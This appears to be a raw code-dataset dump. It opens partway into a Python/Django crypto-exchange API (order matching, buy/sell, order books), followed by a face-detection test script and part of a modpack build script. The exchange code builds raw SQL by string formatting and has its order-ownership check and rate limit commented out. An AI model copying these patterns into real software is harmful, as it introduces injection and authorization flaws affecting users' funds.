%s \\\n AND user!=%i ORDER BY price, id DESC \" % (Currency2.id,\n TradePair.id,\n format_numbers_strong(Price), OrderSell.user )\n\n List = OrdersMem.objects.raw(Query)\n # ##work on first case\n AccumSumToSell = Sum1\n AccountBuyer = get_account(user_id=OrderSell.user, currency_id=Currency2.id)\n UserDeals = [int(OrderSell.user)]\n process_order = None\n\n if TradePair.currency_on.id == Currency1.id :\n process_order = lambda AccountBuyer, AccumSumToSell, OrderBuy, OrderSell, TradePair: process_order_sell(AccountBuyer, AccumSumToSell, OrderBuy, OrderSell, TradePair)\n else:\n process_order = lambda AccountBuyer, AccumSumToSell, OrderBuy, OrderSell, TradePair: process_order_buy(AccountBuyer, AccumSumToSell, OrderBuy, OrderSell, TradePair)\n\n # TODO in case of exception block OrderSell and OrderBuy and interrupt the cycle\n for OrderBuy in List:\n UserDeals.append(int(OrderBuy.user))\n try :\n AccumSumToSell = process_order(AccountBuyer, AccumSumToSell, OrderBuy, OrderSell, TradePair)\n \n except TransError as e:\n logger_application.critical(traceback.format_exc())\n OrderBuy.status = \"core_error\"\n OrderSell.status = \"core_error\"\n OrderBuy.save()\n OrderSell.save()\n admin_system_notify_async((OrderBuy, OrderSell))\n ResultSum = finish_create_order(TradePair, AccumSumToSell, OrderSell)\n return {\"start_sum\": Sum1, \"status\":False, \"last_sum\": ResultSum, \"users_bothered\": UserDeals}\n\n\n if AccumSumToSell > 0.00000001:\n continue\n else:\n break\n\n \n \n logger_application.info(\"=\"*300)\n logger_application.info(AccumSumToSell)\n ResultSum = finish_create_order(TradePair, AccumSumToSell, OrderSell)\n OrderSell.sum1 = AccumSumToSell\n \n # comission operation\n \n if ResultSum < 0.00000001 and ResultSum>=0:\n #if ResultSum != 0:\n # return_rest2acc(OrderSell, AccumSumToSell, Currency1)\n\n OrderSell.sum1 = 0\n OrderSell.make2processed()\n else:\n OrderSell.save()\n\n return {\"start_sum\": Sum1, \"status\":True, \"last_sum\": ResultSum, \"users_bothered\": UserDeals}\n\n\n\n@my_async\ndef system_notify_async(Msg, User):\n system_notify(Msg, User)\n\n\ndef finish_create_order(TradePair, AccumSumToSell, Order):\n ##base currency\n if Order.currency1 == TradePair.currency_on.id:\n if AccumSumToSell < TradePair.min_trade_base:\n system_notify_async(order_finish(Order), Order.user)\n return 0\n else:\n return AccumSumToSell\n else:\n SumToBuy = AccumSumToSell/Order.price\n if SumToBuy < TradePair.min_trade_base:\n system_notify_async(order_finish(Order), Order.user)\n return 0\n else:\n return AccumSumToSell\n\n\n@my_async\ndef reload_cache(Res, Type):\n cache = caching()\n DeleteKeys = []\n for i in Res[\"users_bothered\"]:\n CachedKey1 = 'client_orders_' + str(i) + \"_\" + Type\n CachedKey2 = 'balance_' + str(i)\n DeleteKeys.append(CachedKey1)\n DeleteKeys.append(CachedKey2)\n # deal_list_btc_uah\n DeleteKeys.append(\"sell_list_\" + Type)\n DeleteKeys.append(\"buy_list_\" + Type)\n logger_application.info(\"delete this keys %s \" % str(DeleteKeys))\n\n cache.delete_many(DeleteKeys)\n\n\ndef process_auto(Res, TradePair, Dict = None):\n Encoder = json.JSONEncoder()\n if Res[\"status\"]:\n\n if Res[\"start_sum\"] == Res[\"last_sum\"]:\n Dict = {\"status\": True, \"description\": _(\"The order has been created\")}\n\n elif Res[\"last_sum\"] == 0:\n Dict = {\"status\": \"processed\",\n \"description\": _(\"Your order has been fully processed successfully\"),\n \"start_sum_to_buy\": str(Res[\"start_sum\"]),\n \"last_sum_to_buy\": str(Res[\"last_sum\"])\n }\n elif Res[\"start_sum\"] > Res[\"last_sum\"]:\n Dict = {\"status\": \"processed\", \"description\": _(\"Your order has been processed partial\"),\n \"start_sum_to_buy\": str(Res[\"start_sum\"]),\n \"last_sum_to_buy\": str(Res[\"last_sum\"])\n }\n else:\n Dict = {\"status\": \"process_order_error\", \"description\": _(\"The mistake has been occurred during\"\n \" creation of the order,\"\n \" and developers were notified about it\")}\n Type = TradePair.url_title\n reload_cache(Res, Type)\n return Encoder.encode(Dict)\n\n\ndef process_mistake(Req, Mistake):\n Dict = None\n Encoder = json.JSONEncoder()\n\n if Mistake == 'incifition_funds':\n Dict = {\"status\": Mistake, \"description\": _(u\"У вас недостаточно средств для этой операции,\"\n u\" пополните ваш счет во вкладке \"\n u\"<a href='/finance'> \\\"финансы\\\" </a> \")}\n elif Mistake == \"MinCount\":\n Dict = {\"status\": Mistake, \"description\": _(\"Count of deal is too small\")}\n elif Mistake == \"invalid_params\":\n Dict = {\"status\": Mistake, \"description\": _(\"Invalid params\")}\n else:\n Dict = {\"status\": Mistake, \"description\": _(\"Some mistake has been occured, \"\n \"try later, or call support\")}\n return Encoder.encode(Dict)\n\n\n@my_cache()\ndef market_prices(Req):\n Dict = None\n Encoder = json.JSONEncoder()\n prices = []\n for item in TradePairs.objects.filter(status=\"processing\").order_by(\"ordering\"):\n TopName = item.url_title + \"_top_price\"\n Price = VolatileConsts.objects.get(Name=TopName)\n prices.append({\"type\": TopName, \"price\": Price.Value})\n RespJ = Encoder.encode({\"prices\": prices})\n return RespJ\n\n\n@json_auth_required\ndef remove_order(Req, Order):\n Encoder = json.JSONEncoder()\n\n FreqKey = \"orders\" + str(Req.user)\n #if not check_freq(FreqKey, 3):\n # Response = HttpResponse('{\"status\":false, \"description\":\"frequancy limit\"}')\n # Response['Content-Type'] = 'application/json'\n # return Response\n\n if __inner_remove_order(Order, Req.user):\n system_notify_async(order_canceled(Order), Req.user)\n Dict = {\"status\": True}\n RespJ = Encoder.encode(Dict)\n Response = HttpResponse(RespJ)\n Response['Content-Type'] = 'application/json'\n return Response\n else:\n Dict = {\"status\": False, \"description\": _(\"A mistake has been occured during removing try one more\")}\n RespJ = Encoder.encode(Dict)\n Response = HttpResponse(RespJ)\n Response['Content-Type'] = 'application/json'\n return Response\n\n\ndef __inner_remove_order(Order, User):\n Order2Remove = OrdersMem.objects.get(user=User, id=int(Order), status=\"processing\")\n #if not Order2Remove.verify(str(User)) :\n # return False\n\n Market = TradePairs.objects.get(id=Order2Remove.trade_pair)\n\n Order2Remove.status = \"canceled\"\n Order2Remove.save()\n Title = Market.url_title\n\n LOCK = \"trades\" + Title\n TradeLock = my_lock(LOCK)\n\n #try:\n Account = get_account(user_id=User, currency_id=Order2Remove.currency1)\n \n cache = caching()\n canceled_orders2deals(Order2Remove)\n\n trans = add_trans2(Account,\n -1*Order2Remove.sum1,\n Order2Remove.currency1,\n Order2Remove,\n \"order_cancel\")\n \n put2queue(('order_cancel', trans, Market, Order2Remove))\n \n Order2Remove.archive()\n Order2Remove.delete()\n \n cache.delete_many([\"buy_list_\" + Title,\n \"sell_list_\" + Title,\n \"balance_\" + str(User),\n 'client_orders_' + str(User) + \"_\" + Title])\n\n \n my_release(TradeLock)\n return True\n #except:\n\n #my_release(TradeLock)\n #return False\n\n\n@json_auth_required\ndef sell(Req, Trade_pair):\n FreqKey = \"orders\" + str(Req.user)\n Start = time.time()\n if not check_freq(FreqKey, 3):\n Response = HttpResponse('{\"status\":false, \"description\":\"frequancy limit\"}')\n Response['Content-Type'] = 'application/json'\n return Response\n\n getcontext().prec = settings.TRANS_PREC\n\n try:\n Count = Req.REQUEST.get(\"count\")\n Price = Req.REQUEST.get(\"price\")\n Count = Decimal(Count.replace(\",\", \".\").strip())\n Price = Decimal(Price.replace(\",\", \".\").strip())\n Count = to_prec(Count, settings.TRANS_PREC)\n Price = to_prec(Price, settings.TRANS_PREC)\n\n except:\n Response = HttpResponse(process_mistake(Req, \"invalid_params\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n if Price <= 0:\n Response = HttpResponse(process_mistake(Req, \"SumLess0\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n if Count <= 0:\n Response = HttpResponse(process_mistake(Req, \"CountLess0\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n TradePair = TradePairs.objects.get(url_title=Trade_pair)\n LOCK = \"trades\" + TradePair.url_title\n\n if TradePair.min_trade_base > Count:\n Response = HttpResponse(process_mistake(Req, \"MinCount\"))\n Response['Content-Type'] = 'application/json'\n\n return Response\n\n Custom = \"0.0005\" # Req.session[\"deal_comission\"]\n Comission = Decimal(Custom)\n\n CurrencyOnS = Req.REQUEST.get(\"currency\")\n CurrencyBaseS = Req.REQUEST.get(\"currency1\")\n Amnt1 = Count\n Amnt2 = Count * Price\n CurrencyBase = Currency.objects.get(title=CurrencyBaseS)\n CurrencyOn = Currency.objects.get(title=CurrencyOnS)\n TradeLock = my_lock(LOCK)\n order = OrdersMem(user=Req.user,\n currency1=CurrencyOn.id,\n sum1_history=Amnt1,\n price=Price,\n pub_date = datetime.now(),\n sum1=Decimal(\"0.0\"),\n trade_pair=TradePair.id,\n currency2 = CurrencyBase.id,\n comission=Comission,\n status=\"created\",\n type_deal = \"sell\")\n\n order.save()\n i = order.id\n backend = TornadoServer.get_instance()\n \n try:\n FromAccount = get_account(user_id=Req.user, currency_id=CurrencyOn.id)\n \n system_notify_async(deposit_funds(order, CurrencyOn), Req.user)\n \n trans_deposit = add_trans2(FromAccount, Amnt1, CurrencyOn.id, order, \"deposit\")\n put2queue(('deposit', trans_deposit, TradePair, order))\n \n order = trans_deposit.order\n order.status='processing'\n order.save()\n \n ResAuto = make_auto_trade(order, TradePair, order.price, CurrencyOn, Amnt1, CurrencyBase)\n # adding locks\n my_release(TradeLock)\n logger_application.info(\"reees auto\")\n logger_application.info(ResAuto)\n resp_body = process_auto(ResAuto, TradePair)\n \n Response = HttpResponse(resp_body)\n Response['Content-Type'] = 'application/json'\n End = time.time()\n measure = OrderTimer(order=i, time_work=str(End - Start), error=\"\")\n measure.save()\n \n return Response\n except Exception as e :\n logger_application.critical(traceback.format_exc())\n order.status = \"canceled\"\n order.save()\n Status = \"unrecognized\"\n my_release(TradeLock)\n Response = HttpResponse(process_mistake(Req, Status))\n Response['Content-Type'] = 'application/json'\n End = time.time()\n tb = traceback.format_exc()\n measure = OrderTimer(order=i, time_work=str(End - Start), error=tb)\n measure.save()\n \n return Response\n\n\n@json_auth_required\ndef buy(Req, Trade_pair):\n FreqKey = \"orders\" + str(Req.user)\n Start = time.time()\n if not check_freq(FreqKey, 3):\n Response = HttpResponse('{\"status\":false, \"description\":\"frequancy limit\"}')\n Response['Content-Type'] = 'application/json'\n return Response\n\n getcontext().prec = settings.TRANS_PREC\n try:\n Count = Req.REQUEST.get(\"count\")\n Price = Req.REQUEST.get(\"price\")\n Count = Decimal(Count.replace(\",\", \".\").strip())\n Price = Decimal(Price.replace(\",\", \".\").strip())\n Count = to_prec(Count, settings.TRANS_PREC)\n Price = to_prec(Price, settings.TRANS_PREC)\n\n except:\n logger_application.error(traceback.format_exc())\n Response = HttpResponse(process_mistake(Req, \"invalid_params\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n if Price <= 0:\n Response = HttpResponse(process_mistake(Req, \"SumLess0\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n if Count <= 0:\n Response = HttpResponse(process_mistake(Req, \"CountLess0\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n TradePair = TradePairs.objects.get(url_title=Trade_pair)\n LOCK = \"trades\" + TradePair.url_title\n\n if TradePair.min_trade_base > Count:\n Response = HttpResponse(process_mistake(Req, \"MinCount\"))\n Response['Content-Type'] = 'application/json'\n return Response\n\n Custom = \"0.0005\" # Req.session[\"deal_comission\"]\n Comission = Decimal(Custom)\n\n CurrencyOnS = Req.REQUEST.get(\"currency\")\n CurrencyBaseS = Req.REQUEST.get(\"currency1\")\n\n Amnt1 = Price * Count\n Amnt2 = Count\n\n CurrencyBase = Currency.objects.get(title=CurrencyBaseS)\n CurrencyOn = Currency.objects.get(title=CurrencyOnS)\n\n TradeLock = my_lock(LOCK)\n order = OrdersMem(user=Req.user,\n currency1=CurrencyBase.id,\n currency2=CurrencyOn.id,\n sum1_history=Amnt1,\n price=Price,\n pub_date=datetime.now(),\n sum1=Decimal(\"0.0\"),\n trade_pair=TradePair.id,\n comission=Comission,\n status=\"created\",\n type_deal = \"buy\"\n )\n order.save()\n i = order.id\n try:\n FromAccount = get_account(user_id=Req.user, currency_id=CurrencyBase.id)\n system_notify_async(deposit_funds(order, CurrencyBase), Req.user)\n # TODO Order to Encrypted object\n trans_deposit = add_trans2(FromAccount, Amnt1, CurrencyBase.id, order, \"deposit\")\n put2queue(('deposit', trans_deposit, TradePair, order))\n order = trans_deposit.order\n order.status = \"processing\"\n order.save()\n ResAuto = make_auto_trade(order, TradePair, order.price, CurrencyBase, Amnt1, CurrencyOn)\n Response = HttpResponse(process_auto(ResAuto, TradePair))\n my_release(TradeLock)\n Response['Content-Type'] = 'application/json'\n End = time.time()\n measure = OrderTimer(order=i, time_work=str(End - Start), error=\"\")\n measure.save()\n\n return Response\n except Exception as e:\n logger_application.info(traceback.format_exc())\n\n order.status = \"canceled\"\n order.save()\n Status = \"unrecognized\"\n Response = HttpResponse(process_mistake(Req, Status))\n Response['Content-Type'] = 'application/json'\n my_release(TradeLock)\n End = time.time()\n tb = traceback.format_exc()\n measure = OrderTimer(order=i, time_work=str(End - Start), error=tb)\n measure.save()\n return Response\n\n\n@json_auth_required\ndef bid(Req, UrlTitle):\n CurrentTradePair = TradePairs.objects.get(url_title=UrlTitle)\n SumList = []\n Amount = Decimal(\"0\")\n TempSum = Decimal('0')\n try:\n Amount = Decimal(Req.REQUEST.get(\"amount\", None))\n Query = \"SELECT * FROM main_ordersmem WHERE currency2=%i AND currency1=%i \\\n AND status='processing' \\\n AND user!=%i ORDER BY price DESC\" % (\n CurrentTradePair.currency_on.id,\n CurrentTradePair.currency_from.id,\n Req.user)\n List = OrdersMem.objects.raw(Query)\n for item in List:\n if Amount > item.sum1:\n Amount -= item.sum1\n TempSum += item.sum1\n SumList.append({\"sum\": item.sum1, \"price\": item.price})\n else:\n TempSum += Amount\n SumList.append({\"sum\": Amount, \"price\": item.price})\n break\n except:\n logger_application.info(traceback.format_exc())\n Response = HttpResponse('{\"status\":false, \"description\":\"amount is incorrect\"}')\n Response['Content-Type'] = 'application/json'\n return Response\n # format_numbers_strong(balance_buy.balance )\n\n AvaragePrice = Decimal(\"0\")\n BuySum = Decimal(\"0\")\n for item in SumList:\n BuySum += item['sum']\n AvaragePrice += ((item['sum'] / TempSum) * item['price'] )\n Dict = {\"sell_sum\": format_numbers_strong(BuySum),\n \"price\": format_numbers_strong(AvaragePrice),\n \"status\": True}\n RespJ = json.JSONEncoder().encode(Dict)\n return cached_json_object(RespJ)\n\n\n@json_auth_required\ndef ask(Req, UrlTitle):\n CurrentTradePair = TradePairs.objects.get(url_title=UrlTitle)\n SumList = []\n Amount = Decimal(\"0\")\n TempSum = Decimal('0')\n try:\n Amount = Decimal(Req.REQUEST.get(\"amount\", None))\n Query = \"SELECT * FROM main_ordersmem WHERE currency1=%i AND currency2=%i \\\n AND status='processing' \\\n AND user!=%i ORDER BY price DESC\" % (\n CurrentTradePair.currency_on.id,\n CurrentTradePair.currency_from.id,\n Req.user)\n List = OrdersMem.objects.raw(Query)\n for item in List:\n if Amount > item.sum1:\n Amount -= item.sum1\n TempSum += item.sum1\n SumList.append({\"sum\": item.sum1, \"price\": item.price})\n else:\n TempSum += Amount\n SumList.append({\"sum\": Amount, \"price\": item.price})\n break\n except:\n logger_application.info(traceback.format_exc())\n Response = HttpResponse('{\"status\":false, \"description\":\"amount is incorrect\"}')\n Response['Content-Type'] = 'application/json'\n return Response\n # format_numbers_strong(balance_buy.balance )\n\n AvaragePrice = Decimal(\"0\")\n BuySum = Decimal(\"0\")\n for item in SumList:\n BuySum += item['sum']\n AvaragePrice += ((item['sum'] / TempSum) * item['price'] )\n Dict = {\"buy_sum\": format_numbers_strong(BuySum),\n \"price\": format_numbers_strong(AvaragePrice),\n \"status\": True}\n RespJ = json.JSONEncoder().encode(Dict)\n return cached_json_object(RespJ)\n\n\n@my_cache()\ndef buy_list(Req, Pair):\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Pair)\n except:\n logger_application.info(traceback.format_exc())\n return json_false500(Req)\n\n BuyList = OrdersMem.objects.filter(status=\"processing\",\n currency1=Current.currency_from.id,\n currency2=Current.currency_on.id)\n getcontext().prec = settings.TRANS_PREC\n Currency1Title = Current.currency_from.title\n Currency2Title = Current.currency_on.title\n List1 = {}\n AccumBuySum = 0\n for item in BuyList:\n SellSum = item.sum1 ## UAH\n BuySum = item.sum1/item.price ## LTC\n Rate = item.price\n AccumBuySum += SellSum\n if List1.has_key(Rate):\n List1[Rate][Currency1Title] = List1[Rate][Currency1Title] + SellSum\n List1[Rate][Currency2Title] = List1[Rate][Currency2Title] + BuySum\n else:\n List1[Rate] = {Currency1Title: SellSum, Currency2Title: BuySum}\n\n ResBuyList = []\n\n LL = List1.keys()\n L = []\n for i in LL:\n Temp = Decimal(i)\n List1[Temp] = List1[i]\n L.append(Temp)\n\n L.sort()\n L.reverse()\n\n Price = 0\n MaxPrice = 0\n for i in L:\n Price = format_numbers10(i)\n ResBuyList.append({\"price\": Price,\n \"currency_trade\": format_numbers10(List1[i][Currency2Title]),\n \"currency_base\": format_numbers10(List1[i][Currency1Title])})\n\n if len(ResBuyList):\n MaxPrice = ResBuyList[0][\"price\"]\n Dict = {\"orders_sum\": format_numbers10(AccumBuySum), \"list\": ResBuyList,\n \"max_price\": MaxPrice, \"min_price\": Price}\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n@json_auth_required\ndef order_status(Req, Id):\n Dict = {}\n try:\n order = Orders.objects.get(id=int(Id), user=Req.user)\n Dict[\"pub_date\"] = str(order.pub_date)\n Dict[\"sum1\"] = str(order.sum1)\n Dict[\"id\"] = str(Id)\n Dict[\"sum2\"] = str(order.sum2)\n Dict[\"sum1_history\"] = str(order.sum1_history)\n Dict[\"sum2_history\"] = str(order.sum2_history)\n Dict[\"currency1\"] = order.currency1.title\n Dict[\"currency2\"] = order.currency1.title\n Dict[\"status\"] = order.status\n except Orders.DoesNotExist:\n logger_application.error(traceback.format_exc())\n return status_false()\n Response = HttpResponse(json.JSONEncoder().encode(Dict))\n Response['Content-Type'] = 'application/json'\n return Response\n\n\n@my_cache()\ndef balance(Req, User_id):\n List = []\n Dict = {}\n for i in Accounts.objects.filter(user_id=User_id):\n acc = get_account(user_id=User_id, currency_id=i.currency.id)\n List.append({\"balance\": format_numbers10(acc.get_balance), \"currency\": i.currency.title})\n\n User = Req.user\n Dict[\"notify_count\"] = Msg.objects.filter(user_to=User,\n user_from_id=1,\n user_hide_to=\"false\",\n user_seen_to=\"false\").count()\n Dict[\"msg_count\"] = Msg.objects.filter(user_to=User,\n user_hide_to=\"false\",\n user_seen_to=\"false\").exclude(user_from_id=1).count()\n try:\n online = OnlineUsers(user_id=Req.user)\n online.save()\n except:\n online = OnlineUsers.objects.get(user_id=Req.user)\n online.pub_date = datetime.now()\n online.save()\n\n if Req.session.has_key('use_f2a'):\n Dict[\"use_f2a\"] = Req.session['use_f2a']\n else:\n Dict[\"use_f2a\"] = False\n\n Dict[\"accounts\"] = List\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n@json_auth_required\ndef user_balance(Req):\n return balance(Req, Req.user)\n\n # Dict[\"accounts\"] = []\n # Response = HttpResponse( json.JSONEncoder().encode(Dict) )\n # Response['Content-Type'] = 'application/json'\n # return Response\n\n\n@my_cache()\ndef sell_list(Req, Pair):\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Pair)\n except:\n return json_false500(Req)\n\n SellList = OrdersMem.objects.filter(status=\"processing\",\n currency1=Current.currency_on.id,\n currency2=Current.currency_from.id)\n getcontext().prec = 8\n Currency1Title = Current.currency_from.title\n Currency2Title = Current.currency_on.title\n AccumSellSum = 0\n GroupSellDict = {}\n for item in SellList:\n SellSum = item.sum1 ##LTC\n BuySum = item.sum1 * item.price ## UAH\n Rate = item.price\n AccumSellSum += SellSum\n if GroupSellDict.has_key(Rate):\n GroupSellDict[Rate][Currency2Title] = GroupSellDict[Rate][Currency2Title] + SellSum\n GroupSellDict[Rate][Currency1Title] = GroupSellDict[Rate][Currency1Title] + BuySum\n else:\n GroupSellDict[Rate] = {Currency2Title: SellSum, Currency1Title: BuySum}\n\n ResSellList = []\n LL = GroupSellDict.keys()\n L = []\n for i in LL:\n Temp = Decimal(i)\n GroupSellDict[Temp] = GroupSellDict[i]\n L.append(Temp)\n\n L.sort()\n Price = 0\n MinPrice = 0\n for i in L:\n Price = format_numbers10(i)\n ResSellList.append({\"price\": Price,\n \"currency_trade\": format_numbers10(GroupSellDict[i][Currency2Title]),\n \"currency_base\": format_numbers10(GroupSellDict[i][Currency1Title])})\n\n if len(ResSellList):\n MinPrice = ResSellList[0][\"price\"]\n\n Dict = {\"orders_sum\": format_numbers10(AccumSellSum),\n \"list\": ResSellList,\n \"min_price\": MinPrice,\n \"max_price\": Price}\n RespJ = json.JSONEncoder().encode(Dict)\n\n return RespJ\n\n\n@my_cache()\ndef last_price(Req, Pair):\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Pair)\n except:\n return json_false500(Req)\n Dict = None\n try:\n deal = DealsMemory.objects.filter(trade_pair=Current.id).latest(\"id\")\n Dict = {\"price\": format_numbers4(deal.price), \"price_10\": format_numbers10(deal.price)}\n except:\n Dict = {\"price\": \"0\", \"price_10\": \"0.000000000\"}\n\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n### TODO stat\n@my_cache()\ndef day_stat(Req, Pair):\n Current = TradePairs.objects.get(url_title=Pair)\n ##last value 17520\n cursor = connection.cursor()\n Q = cursor.execute(\"SELECT \t sum(VolumeTrade) as VolumeTrade, \\\n sum(VolumeBase) as VolumeBase,\\\n max(Max) as Max,\\\n min(Min) as Min \\\n FROM main_stockstat WHERE main_stockstat.Stock_id=%i \\\n ORDER BY id DESC LIMIT 17520 \" % Current.id)\n\n List = dictfetchall(cursor, Q)\n row = List[0]\n for i in row:\n if not row[i]:\n row[i] = format_numbers4(Decimal(\"0\"))\n else:\n row[i] = format_numbers4(Decimal(row[i]))\n\n Dict = {\"volume_base\": row['VolumeBase'],\n \"volume_trade\": row['VolumeTrade'],\n \"min\": row['Min'],\n \"max\": row['Max'],\n }\n\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n@my_cache()\ndef high_japan_stat(Req, Pair):\n Current = TradePairs.objects.get(url_title=Pair)\n # last value 17520\n List = StockStat.objects.raw(\"SELECT * FROM main_stockstat WHERE main_stockstat.Stock_id=%i \\\n ORDER BY id DESC LIMIT 17520 \" % Current.id)\n ListJson = []\n VolumeBase = 0\n VolumeTrade = 0\n i = 0\n for item in List:\n StartDate = item.start_date\n if i < 48:\n VolumeTrade = VolumeTrade + item.VolumeTrade\n VolumeBase = VolumeBase + item.VolumeBase\n i += 1\n Key = calendar.timegm(StartDate.utctimetuple())\n ListJson.append([int(Key) * 1000, float(item.Start), float(item.Max), float(item.Min), float(item.End),\n float(item.VolumeTrade)])\n\n OnlineUsersCount = OnlineUsers.objects.count()\n ListJson.reverse()\n\n Dict = {\"trades\": ListJson,\n \"online\": OnlineUsersCount,\n \"volume_base\": str(VolumeBase),\n \"volume_trade\": str(VolumeTrade)}\n\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n@my_cache()\ndef japan_stat(Req, Pair):\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Pair)\n except:\n return json_false500(Req)\n\n List = StockStat.objects.raw(\"SELECT * FROM main_stockstat WHERE main_stockstat.Stock_id=%i \\\n ORDER BY id DESC LIMIT 48 \" % Current.id)\n ListJson = []\n VolumeBase = 0\n VolumeTrade = 0\n for item in List:\n StartDate = item.start_date\n VolumeTrade = VolumeTrade + item.VolumeTrade\n VolumeBase = VolumeBase + item.VolumeBase\n Key = \"%i:%i\" % (StartDate.hour, StartDate.minute)\n ListJson.append(\n [Key, float(item.Start), float(item.Max), float(item.Min), float(item.End), float(item.VolumeTrade)])\n\n OnlineUsersCount = OnlineUsers.objects.count()\n ListJson.reverse()\n\n Dict = {\"trades\": ListJson,\n \"online\": OnlineUsersCount,\n \"volume_base\": str(VolumeBase),\n \"volume_trade\": str(VolumeTrade)}\n\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n##TODO add date filters\n@my_cache(30)\ndef deal_list(Req, Pair):\n ResList = common_deal_list(Pair)\n JsonP = json.JSONEncoder().encode(ResList)\n return JsonP\n\n\ndef common_deal_list(Pair, User_id=None):\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Pair)\n except:\n return json_false500(Req)\n\n ldeals = None\n startdate = datetime.now()\n # TODO adding paging for client orders\n if User_id is None:\n enddate = startdate - timedelta(days=30)\n ldeals = DealsMemory.objects.filter(trade_pair=Current.id, pub_date__gte=enddate).order_by('-pub_date')[:200]\n else:\n enddate = startdate - timedelta(days=365)\n ldeals = DealsMemory.objects.filter(trade_pair=Current.id, user_id=User_id, pub_date__gte=enddate ).order_by('-pub_date')[:200]\n\n ResList = []\n for item in ldeals:\n new_item = {}\n rate = item.price\n new_item['pub_date'] = (item.pub_date - datetime(1970,1,1)).total_seconds() # formats.date_format(item.pub_date, \"DATETIME_FORMAT\")\n new_item[\"type\"] = item.type_deal\n new_item[\"user\"] = item.user\n new_item[\"price\"] = format_numbers10(rate)\n new_item[\"amnt_base\"] = format_numbers10(item.amnt_base)\n new_item[\"amnt_trade\"] = format_numbers10(item.amnt_trade)\n ResList.append(new_item)\n\n return ResList\n\n\n@json_auth_required\ndef my_closed_orders(Req, Pair):\n ResList = common_deal_list(Pair, Req.user)\n Response = HttpResponse(json.JSONEncoder().encode(ResList))\n Response['Content-Type'] = 'application/json'\n return Response\n\n\n@my_cache()\ndef client_orders(Req, User_id, Title):\n Dict = {}\n\n Current = None\n try:\n Current = TradePairs.objects.get(url_title=Title)\n except:\n return json_false500(Req)\n\n\n\n Dict[\"auth\"] = True\n MyOrders = OrdersMem.objects.filter(user = User_id,\n trade_pair = Current.id,\n status='processing')\n\n MyOrdersList = []\n c = getcontext()\n c.prec = settings.TRANS_PREC\n\n for i in MyOrders:\n MyOrdersDict = {}\n MyOrdersDict[\"pub_date\"] = (i.pub_date-datetime(1970,1,1)).total_seconds() \n # formats.date_format(i.pub_date, \"DATETIME_FORMAT\")\n MyOrdersDict[\"id\"] = i.id\n MyOrdersDict[\"sum1\"] = str(i.sum1)\n\n if i.currency1 == Current.currency_on.id:\n MyOrdersDict[\"type\"] = \"sell\"\n MyOrdersDict[\"price\"] = format_numbers10(i.price)\n MyOrdersDict[\"amnt_trade\"] = format_numbers10(i.sum1)\n MyOrdersDict[\"amnt_base\"] = format_numbers10(i.sum1*i.price)\n else:\n MyOrdersDict[\"type\"] = \"buy\"\n MyOrdersDict[\"price\"] = format_numbers10(i.price)\n MyOrdersDict[\"amnt_base\"] = format_numbers10(i.sum1)\n MyOrdersDict[\"amnt_trade\"] = format_numbers10(i.sum1/i.price)\n MyOrdersList.append(MyOrdersDict)\n\n balance_sell = get_account(user_id=User_id, currency=Current.currency_on)\n balance_buy = get_account(user_id=User_id, currency=Current.currency_from)\n Dict[\"balance_buy\"] = format_numbers_strong(balance_buy.get_balance)\n Dict[\"balance_sell\"] = format_numbers_strong(balance_sell.get_balance)\n Dict[\"your_open_orders\"] = MyOrdersList\n RespJ = json.JSONEncoder().encode(Dict)\n return RespJ\n\n\n@json_auth_required\ndef my_orders(Req, Title):\n return client_orders(Req, Req.user, Title)\n \n \n\n\n\n\n \n\n\n\n","repo_name":"perldev/multi_wallet","sub_path":"main/tornado/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":52973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16620658921","text":"import glob\nimport os\nimport cv2\nimport time\nimport face_detection\n\n\ndef draw_faces(im, bboxes):\n for bbox in bboxes:\n x0, y0, x1, y1 = [int(_) for _ in bbox]\n cv2.rectangle(im, (x0, y0), (x1, y1), (0, 0, 255), 2)\n\n\nif __name__ == \"__main__\":\n impaths = \"images\"\n impaths = glob.glob(os.path.join(impaths, \"*.jpg\"))\n detector = face_detection.build_detector(\n \"DSFDDetector\",\n max_resolution=1080\n )\n for impath in impaths:\n if impath.endswith(\"out.jpg\"): continue\n im = cv2.imread(impath)\n print(\"Processing:\", impath)\n t = time.time()\n dets = detector.detect(\n im[:, :, ::-1]\n )[:, :4]\n print(f\"Detection time: {time.time()- t:.3f}\")\n draw_faces(im, dets)\n imname = os.path.basename(impath).split(\".\")[0]\n output_path = os.path.join(\n os.path.dirname(impath),\n f\"{imname}_out.jpg\"\n )\n\n cv2.imwrite(output_path, im)\n ","repo_name":"hukkelas/DSFD-Pytorch-Inference","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":203,"dataset":"github-code","pt":"61"} +{"seq_id":"38300038735","text":"# if there is a problem with building, please ping htmlcsjs#0209 on discord\nimport os\nimport shutil\nimport requests\nimport json\n\nbasePath = os.path.realpath(__file__)[:-7] + \"..\"\ncopyDirs = [\"/scripts\", \"/resources\", \"/config\", \"/mods\"]\n\nwith open(basePath + \"/manifest.json\") as file:\n manifest = json.load(file)\n\ntry:\n os.makedirs(basePath + \"/buildOut/overrides\")\n os.makedirs(basePath + \"/mods\")\nexcept Exception as e:\n print(\"Directory exists, skipping\")\n\nfor mod in manifest[\"externalDeps\"]:\n r = requests.get(mod)\n with open(basePath + \"/mods/\" + mod.split(\"/\")[-1], \"wb\") as jar:\n jar.write(r.content)\n\nfor dir in copyDirs:\n try:\n shutil.copytree(basePath + dir, basePath + \"/buildOut/overrides\" + dir)\n except Exception as e:\n print(\"Directory 